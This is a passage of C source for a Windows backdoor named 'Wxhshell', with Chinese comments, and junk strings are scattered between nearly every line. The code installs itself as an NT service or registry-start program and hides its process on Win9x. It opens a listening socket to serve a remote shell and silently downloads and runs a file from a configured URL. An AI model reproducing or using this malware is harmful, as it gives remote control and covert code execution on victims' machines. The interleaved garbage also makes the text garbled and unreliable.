hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NXDuO_# if(hProcess==NULL) return 0; m&8'O\$ 3 At%TA: HMODULE hMod; %FO#j 6 char procName[255]; Tf?|*P unsigned long cbNeeded; 3It9|Y"6[ 'e06QMp@ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C.;H?So( p{4nWeH?B CloseHandle(hProcess);
UB1/0o La'XJ|>V if(strstr(procName,"services")) return 1; // 以服务启动 2i_k$- %Y// } return 0; // 注册表启动 1|Z!8:&pj } .:=G=v=1 .+ g8zbD4 // 主模块 mXXU{IwUe int StartWxhshell(LPSTR lpCmdLine) g
O ;oM?| { LL^WeD_Y SOCKET wsl; .a`(?pPr, BOOL val=TRUE; aqzIMOAf int port=0; aaM76; struct sockaddr_in door; f&
>[$zh 8!(09gW'> if(wscfg.ws_autoins) Install(); E;AOCbV*$ JQ)w/@Vu= port=atoi(lpCmdLine); y d4\%%] z<9wh2*M if(port<=0) port=wscfg.ws_port; bs=x>F v46 5Z WSADATA data; [GqQ6\ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iSg^np ^9*kZV<K if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Pwg?a setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0B?t:XU , door.sin_family = AF_INET; TmIw?#q^ door.sin_addr.s_addr = inet_addr("127.0.0.1"); :N
~A7@ door.sin_port = htons(port); L1J~D?q Y<0R5rO if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {
vOr'j@ closesocket(wsl); SV0h'd(b return 1; B78e*nNS#2 } _)?59 n6]8W^g if(listen(wsl,2) == INVALID_SOCKET) { MYVgi{ closesocket(wsl); )tW0iFY return 1; =9AX\2w*H; } Q&A^(z} Wxhshell(wsl); gkw/Rd1oG WSACleanup(); hYS}PE (B:+md\Q return 0; ^>ICycJ yTb#V"eR } JcDcYB 1Vy8TV3D // 以NT服务方式启动 \DC0` VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :@8N${7`$A { 5:sk&0:@U DWORD status = 0; $)6%LG_@ DWORD specificError = 0xfffffff; qzt.k^'-^
lOuO~`,J serviceStatus.dwServiceType = SERVICE_WIN32; #%$U-ti serviceStatus.dwCurrentState = SERVICE_START_PENDING; kI|7o>}< serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /pS Y ~* serviceStatus.dwWin32ExitCode = 0; Qt`;+N( serviceStatus.dwServiceSpecificExitCode = 0; `!A<XiAOmM serviceStatus.dwCheckPoint = 0; ]Ll<Z serviceStatus.dwWaitHint = 0; {oK4
u |)}&:xA% hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ufr,6IX if (hServiceStatusHandle==0) return; /\0g)B;] }lP'bu status = GetLastError(); he\ pW5p if (status!=NO_ERROR) LX2Re
]& { dFVx*{6 serviceStatus.dwCurrentState = SERVICE_STOPPED; &;wNJ)Uc serviceStatus.dwCheckPoint = 0; Zt LZW/` serviceStatus.dwWaitHint = 0; K*[`s'Ip- serviceStatus.dwWin32ExitCode = status; y8arFG serviceStatus.dwServiceSpecificExitCode = specificError; ]]^eIjg>a6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); v%$c_'d return; C!z7sOu } @&xWd{8' ,z0~VS:g 8 serviceStatus.dwCurrentState = SERVICE_RUNNING; 0Mu6R=s serviceStatus.dwCheckPoint = 0; :qe.*\
c serviceStatus.dwWaitHint = 0; la}Xo0nq0+ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0hr4}FL8 } !/RL.`!> SWWeN#Q // 处理NT服务事件,比如:启动、停止 ews{0 VOID WINAPI NTServiceHandler(DWORD fdwControl) xjK@Q1MJ { 7Z[6_WD3 switch(fdwControl) |\3X7)^8D { vg;9"A!( case SERVICE_CONTROL_STOP:
uoi~JF serviceStatus.dwWin32ExitCode = 0; cfhiZ~."T serviceStatus.dwCurrentState = SERVICE_STOPPED; fuao*L] serviceStatus.dwCheckPoint = 0; N,ysv/zq7 serviceStatus.dwWaitHint = 0; T7qE
2 { /|#" ;QsPN SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8RaRXnJ }
;U<}2M!g return; X 3q2XU case SERVICE_CONTROL_PAUSE: oj%(@6L serviceStatus.dwCurrentState = SERVICE_PAUSED; ^={s(B2 break; (JdZl2A. case SERVICE_CONTROL_CONTINUE: ~U$ioQy< serviceStatus.dwCurrentState = SERVICE_RUNNING; YE;Tpji break; :&`,T.N.vK case SERVICE_CONTROL_INTERROGATE: bBg=X}9 break;
-?vII~a9y }; Q.i_?a SetServiceStatus(hServiceStatusHandle, &serviceStatus);
ow2tfylV } A(6n- zL hA:RVeS{ // 标准应用程序主函数 /0z#0gNp int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M T]2n{e { 7v]9) W=y /ht-]Js$G // 获取操作系统版本 !(nFq9~~Q OsIsNt=GetOsVer(); B:rzM:BQ GetModuleFileName(NULL,ExeFile,MAX_PATH); RcpKv;= iB ":W$$w< // 从命令行安装 Yc p<N>) if(strpbrk(lpCmdLine,"iI")) Install(); XpIl-o&re D/&nEMp6 // 下载执行文件 N'n\_ x if(wscfg.ws_downexe) { eJ+@<+vr;x if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /7LAd_P6 WinExec(wscfg.ws_filenam,SW_HIDE); |f{(MMlj } xua
E\*m Gy6PS{yY6t if(!OsIsNt) { ;Q\MH t* // 如果时win9x,隐藏进程并且设置为注册表启动 6Ij'z9nJw HideProc(); AR3v,eOs StartWxhshell(lpCmdLine); w42=tN+B } wq:"/2p1 else [
~:wS@% if(StartFromService()) jUGk=/*]e // 以服务方式启动 +nz0ZQ9 a StartServiceCtrlDispatcher(DispatchTable); > JP}OS else pKkBAr, // 普通方式启动 HApjXv!U[ StartWxhshell(lpCmdLine); 5ggsOqH LOi/+;> return 0; ,t@B]ll }
|